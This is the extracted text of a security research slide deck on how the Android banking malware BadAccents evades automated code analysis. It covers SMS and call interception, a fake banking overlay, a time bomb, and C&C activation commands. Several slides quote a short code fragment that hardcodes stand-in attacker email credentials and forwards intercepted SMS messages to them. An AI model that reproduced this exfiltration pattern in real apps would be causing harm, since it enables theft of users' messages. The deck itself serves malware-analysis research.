[PPT] - How Current Android Malware Seeks to Evade Automated Code Analysis PowerPoint Presentation

SLIDE 1

SOFTWARE ENGINEERING

GROUP

SECURE

How Current Android Malware Seeks to Evade Automated Code Analysis

Siegfried Rasthofer, Irfan Asrar , Stephan Huber, Eric Bodden

Technische Universität Darmstadt, Darmstadt, Germany Fraunhofer SIT, Darmstadt, Germany Appthority, San Francisco, USA

SLIDE 2

SOFTWARE ENGINEERING

GROUP

SECURE

2

SLIDE 3

SOFTWARE ENGINEERING

GROUP

SECURE

3

APP

… Dataflow Analysis

FlowDroid [PLDI’14], TaintDroid [OSDI’10]

Machine Learning

CHABADA [ICSE’14], Mudflow [ICSE’15]

Security Report Symbolic/Concolic Execution

Acteve[FSE’12], Rozzle [Oakland’12]

Intent-Fuzzing (Behavior Analysis)

DroidFuzzer[MoMM’13], IntentFuzzer [WODA’14], Andrubis [BADGERS’14]

Inspection of the Emulator

Network Sniffing
SMS interception
…

SLIDE 4

SOFTWARE ENGINEERING

GROUP

SECURE

4

Is this sufficient enough?

SLIDE 5

SOFTWARE ENGINEERING

GROUP

SECURE

4

Is this sufficient enough?

SLIDE 6

SOFTWARE ENGINEERING

GROUP

SECURE

5

infected >20,000 user Android/BadAccents

SLIDE 7

SOFTWARE ENGINEERING

GROUP

SECURE

6

1. Malware Components 2. Code-analysis Challenges

SLIDE 8

SOFTWARE ENGINEERING

GROUP

SECURE

7 User User

SMS E-Mail User HTTP Activation Component SMS Interception Send SMS Tapjacking Attack Call Interception (Un-)Install Fake AV Banking Trojan

Environment

SLIDE 9

SOFTWARE ENGINEERING

GROUP

SECURE

8

HTTP Send SMS

Environment Contacts File System

1. Contact’s phone number > 5 digits
2. Contact’s phone number stored into File
3. SMS text sent via C&C server (Internet

connection necessary)

SLIDE 10

SOFTWARE ENGINEERING

GROUP

SECURE

9

Activation Component SMS Interception Call Interception SMS

Environment File System

Checks for

incoming number +84… or +82…

Receives

commands from the C&C server

SLIDE 11

SOFTWARE ENGINEERING

GROUP

SECURE

10

Activation Component SMS Interception

Environment File System Native

User User

User E-Mail Call Interception

SMS activation

command: ak40_1 (deactivation ak40_0)

Reads E-Mail

credentials from native code

Steals incoming SMS

via E-Mail and HTTP

SMS HTTP

SLIDE 12

SOFTWARE ENGINEERING

GROUP

SECURE

11

SMS Interception E-Mail

jstring(Java_stringUser()({( ((return("attacker@malicious.com";(( }( jstring(Java_stringPassword()({( ((return("superSecurePW";(( } ((…( ((user(=(stringUser();( ((pw(=(stringPassword();(( ((saveToFile("musername",(user);(( ((saveToFile("mpass",(pw);(( ((…( ((sendIncomingSMSViaMail((readFromFile("musername"),(((( ((((((((((((((((((((((((((readFromFile("mpass"));

Java Native

Native Environment File System

SLIDE 13

SOFTWARE ENGINEERING

GROUP

SECURE

12

Banking Trojan

User User

HTTP E-Mail User

Environment File System Time Bomb

SLIDE 14

SOFTWARE ENGINEERING

GROUP

SECURE

12

Banking Trojan

User User

HTTP E-Mail User

Environment File System Time Bomb

Security Alert

OK CANCEL

SLIDE 15

SOFTWARE ENGINEERING

GROUP

SECURE

12

(certificate password) (ok) (cancel) (cancel) (cancel) (next) (next) (secure mode) (secure mode) (social security number) (account number) (account password) (name) (Please enter the security card correctly) (password) (previous) (previous) (security center) (person check)

Banking Trojan

User User

HTTP E-Mail User

Environment File System Time Bomb

SLIDE 16

SOFTWARE ENGINEERING

GROUP

SECURE

12

(certificate password) (ok) (cancel) (cancel) (cancel) (next) (next) (secure mode) (secure mode) (social security number) (account number) (account password) (name) (Please enter the security card correctly) (password) (previous) (previous) (security center) (person check)

Banking Trojan

User User

HTTP E-Mail User

Waiting time: 30 minutes
DER-formated certificates on file system
Installed korean banking applications

Environment File System Time Bomb

SLIDE 17

SOFTWARE ENGINEERING

GROUP

SECURE

13

Code Analysis Challenges

RQ1: Can we automatically trigger malicious behavior (dynamically)? RQ2: Can we automatically extract the E-mail credentials (statically)?

SLIDE 18

SOFTWARE ENGINEERING

GROUP

SECURE

14

RQ1 - Dynamic-Challenge: Generate Proper External Events

Activation Component SMS Interception SMS

Specific events need

to be sent

Ordering of events is

important

Simple fuzzing

approaches not sufficient

SLIDE 19

SOFTWARE ENGINEERING

GROUP

SECURE

15

RQ1 - Dynamic-Challenge: Correct Environment Setup

Environment Specific Apps Specific Files Specific Contacts Timing Bomb …

For a single App:

SLIDE 20

SOFTWARE ENGINEERING

GROUP

SECURE

RQ2 - Static-Challenge: Inter-Language Dataflows

16

jstring(Java_stringUser()({( ((return("attacker@malicious.com";(( }( jstring(Java_stringPassword()({( ((return("superSecurePW";(( } user(=(stringUser();( pw(=(stringPassword();(( saveToFile("musername",(user);(( saveToFile("mpass",(pw);(( …( sendIncomingSMSViaMail((( (((readFromFile("musername"),(((((((((((((((((((((((( (((readFromFile("mpass")( );

Java Native

SLIDE 21

SOFTWARE ENGINEERING

GROUP

SECURE

RQ2 - Static-Challenge: Inter-Language Dataflows

16

jstring(Java_stringUser()({( ((return("attacker@malicious.com";(( }( jstring(Java_stringPassword()({( ((return("superSecurePW";(( } user(=(stringUser();( pw(=(stringPassword();(( saveToFile("musername",(user);(( saveToFile("mpass",(pw);(( …( sendIncomingSMSViaMail((( (((readFromFile("musername"),(((((((((((((((((((((((( (((readFromFile("mpass")( );

Java Native

SLIDE 22

SOFTWARE ENGINEERING

GROUP

SECURE

17

Code Analysis Challenges

Siegfried Rasthofer Secure Software Engineering Group (EC-SPRIDE) Email: siegfried.rasthofer@cased.de Blog: http://sse-blog.ec-spride.de Website: http://sse.ec-spride.de

APP